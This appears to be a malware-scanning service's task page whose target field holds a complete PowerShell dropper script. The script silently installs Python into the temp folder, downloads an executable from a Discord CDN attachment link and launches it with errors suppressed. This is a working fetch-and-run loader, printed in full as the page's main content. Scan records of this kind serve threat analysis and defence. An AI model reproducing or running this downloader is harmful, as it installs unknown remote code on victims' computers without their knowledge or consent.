Static task
static1
URLScan task
urlscan1
General
-
Target
http://# Define variables $pythonURL = "https://www.python.org/ftp/python/3.10.2/python-3.10.2-amd64.exe" $downloadURL = "https://cdn.discordapp.com/attachments/1196526489580097728/1219724635562574055/main.exe?ex=660c5816&is=65f9e316&hm=4a42b7ec03cac23d64f302e27834526cfa8dd1cc6b9da150ead071e197bd7ade" # Define paths $pythonInstallerPath = "$env:TEMP\pythoninstaller.exe" $downloadFilePath = "$env:TEMP\main.exe" # Function to download file Function Download-File { param( [string]$url, [string]$outputPath ) $webClient = New-Object System.Net.WebClient $webClient.DownloadFile($url, $outputPath) } # Function to install Python Function Install-Python { param( [string]$installerPath ) Start-Process -FilePath $installerPath -ArgumentList "/quiet", "PrependPath=1", "Include_test=0" -Wait } # Download Python installer Write-Host "Downloading Python installer..." Invoke-WebRequest -Uri $pythonURL -OutFile $pythonInstallerPath # Install Python Write-Host "Installing Python..." Install-Python -installerPath $pythonInstallerPath # Download executable file Write-Host "Downloading executable file..." Download-File -url $downloadURL -outputPath $downloadFilePath # Run downloaded executable Write-Host "Running downloaded executable file..." Start-Process -FilePath $downloadFilePath -ErrorAction SilentlyContinue Write-Host "Installation and download completed."